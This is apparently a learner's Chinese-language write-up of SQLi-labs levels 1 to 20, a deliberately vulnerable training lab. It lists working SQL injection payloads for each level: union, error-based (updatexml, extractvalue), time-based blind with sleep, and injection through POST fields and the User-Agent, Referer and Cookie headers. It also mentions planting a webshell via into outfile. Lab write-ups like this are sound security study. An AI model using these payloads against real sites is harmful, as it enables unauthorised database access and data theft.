sql-lab-base
需要掌握的MySQL基本知识
imformation_schema数据库中有很多张表,其中有用的信息如下:
tables_schema:存放每个数据库中的所有表名,常用查询语句 select table_name from imformation_schema.tables where table_schema = 'xxxx'
columns:存放表名,以及每张表的列名,常用查询语句select column_name from imformation_schema.columns where table_name = 'xxxx'
常用函数:
- version(),查询系统版本
- database(),查询当前数据库名
- concat(),使用符号连接字符串
- group_concat(),将多个返回信息变成一列
Less-1/2
Less-1: 字符形注入,需要加单引号。
Less-2: 数字型注入,不需要加单引号就可以注入。
Less-3/4
Less-3: 从源代码看出查询语句加入了括号,目标就是绕过括号
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
原理和单引号差不多,但是多了括号就需要有括号的闭合
1 | payload: http://0.0.0.0:8080/Less-3/?id=-1') union select 1,2,3--+ |
Less-4: 和第三关一样,区别就是从单引号变成了双引号
1 | payload: http://0.0.0.0:8080/Less-4/?id=-1") union select 1,2,3--+ |
Less-5/6
Less-5: 报错注入,这里使用updatexml函数,常用的两个函数如下
1 | payload: http://0.0.0.0:8080/Less-5/?id=-1' and updatexml(1, concat(0x7e, (select database())), 1)--+ |
Less-6: 单引号变双引号,那就闭合双引号,作者源代码如下
1 | $id = '"'.$id.'"'; |
1 | payload: http://0.0.0.0:8080/Less-6/?id=1" and updatexml(1, concat(0x7e, (select database())), 1)--+ |
Less-7/8
使用into_outfile函数写一句话木马,拿到网站webshell,buu上目前无法获取网站路径,先跳过,后面搭建本地环境搞。
Less-9/10
sql盲注,没有了所有报错回显,脚本在写了在写了。
1 | <? |
Less-11/12
Less-11:使用登录框登录,不同与之前,这次的提交方式是Post,但是注入方式和之前一样
源码如下
1 | <? |
1 | payload: uname=admin&passwd=admin' and 1=2 union select database(),version()# |
Less-12:同样是使用post提交方式,但是在提交之前对两个变量添加了双引号,并且在查询的时候使用的括号,源码如下
1 | <?php |
所以在注入的时候需要添加双引号和括号进行闭合
1 | payload: uname=admin&passwd=admin") and 1=2 union select 1,2# |
Less-13/14
Less-13:双注入,没有任何回显,使用报错注入,源码如下
1 | <? |
1 | uname=1&passwd=1') and extractvalue(1,concat(0x7e,version(),0x7e))# |
Less-14:查询参数两边添加了双引号,所以添加双引号进行闭合,但还是使用报错注入,源码如下
1 | <? |
1 | uname=1&passwd=1" and extractvalue(1,concat(0x7e,database(),0x7e))# |
Less-15/16
Less-15:post提交方式的sql盲注,没有任何回显,报错注入也不行,可以试一试布尔时间盲注
下面两种写法都不是很通用,他需要存在uname的前提下才可以注入,所以写一个通用的(在没有waf的前提下)
1 | 错误的payload: uname=admin&passwd=1' and if(length(database())=8, sleep(5), 1) # |
1 | 正确的payload: uname=1' and 1=2 union select 1,sleep(5) #&passwd=1 |
这种写法就要好一点,只需要查询返回的列相同就行
Less-16:好像是Hackbar出问题了,POST提交方式提交不上去(搞清楚了,不是hackbar的问题,如果使用hackbar的POST提交方式要将所有的参数写全)
源代码如下,因为注释了登录信息,还使用@符号抑制了sql语句报错,所以不会有任何回显,使用盲注爆破。
1 |
|
1 | payload: uname=1") and 1=2 union select 1,sleep(5) #&passwd=1 |
把上面的sleep函数换成if判断语句就可以进行爆破了,但是盲注脚本还是没有写,懒狗一条,先学学sqlmap的使用方式(学玩就写)
Less-17/18
Less-17:基于更新语句的报错注入,审源码逻辑。有一个check_input函数,作用是去掉转意的反斜杠,确保uname没有sql注入,但是还要研究研究这个函数,感觉这关主要就是学习这个check_input函数。在检查uname之后,进行查询
关于Mysql中的update语句,如果后面不加限制条件,那么改变的是整个表的值,后面可以接and跟我们需要的报错语句,如果源代码中没有没收报错回显,那么就可以成功使用报错注入。但是这道题有个条件,那就是用户名必须存在。
1 | payload: uname=Dhakkan&passwd=1' and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')), 1) # |
Less-18:头部报错注入,使用代理提交,估计是想让我们使用burpsuite抓包修改头部代理
需要了解的知识:User Agent
这关开始的源代码写得有点意思,check_input函数没有啥变化,对uname和passwd做了处理,所以这两个参数没有了sql注入的可能性。
这一关的前提是需要知道用户的账号和密码,可以通过前面的关卡注入出来,就不过多赘述。继续审代码,发现代码的逻辑是获取用户的IP和Uagent插入到表uagents中,且参数Uagent没有做任何处理,所以存在sql注入。
首先可以自定义插入数据:
1 | payload: 111', '127.0.0.1', 'hack') # |
自定义插入数据那就是有机会进行二次注入,但是这一关是让我们直接使用报错注入来获取数据库的所有信息,所以需要另外想办法。
这里直接在uagent变量后面比和单引号,然后拼接报错语句。
1 | payload: 1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) , 1, 1) # |
这一关感觉就是教你如何在insert语句下使用报错注入,修改uagent之类的抓包修改都还比较简单。
Less-19/20
Less-19:需要首先了解的知识Referer (中文翻译叫引荐人)-> HTTP 请求的头信息里面,Referer
是一个常见字段,提供访问来源的信息。
其他感觉和18关差不多,都是insert语句报错注入,唯一的不同点就是修改的数据段为referer段,18关修改的是User-Agent段
1 | payload: 1' and updatexml(1, concat(0x7e, (select version()), 0x7e), 1) ,1 ,1) # |
Less-20:Cookie注入
登录进去后会显示Cookie信息
没啥思路,看源码学习
首先还是对uname和passwd做了过滤,所有这两个参数不存在注入点,需要查找另外的注入点,通过一番抓包调试发现了注入点
1 |
|
1 | 测试payload: admin' and 1=2 union select 1,2,3 # |
可以看到已经能够控制回显了,但是这关是要我们使用报错注入,所以方法没有对,使用报错注入来过关。
这里还有一个疑问,那就是有一个I LOVE COOKIE那个页面是怎么出来的也需要思考下。
1 | 报错注入payload: admin' and updatexml(1, concat(0x7e,(select version()), 0x7e), 1) # |
得到回显页面,其他的数据通过替换select version()语句得到其他信息。
Ending
SQLi-labs的基础关算是弄完了,但是有很多细节还没有深究,比如有很多关卡不止一种方式注入,还有很多的注入姿势没有学到,还要花时间研究研究。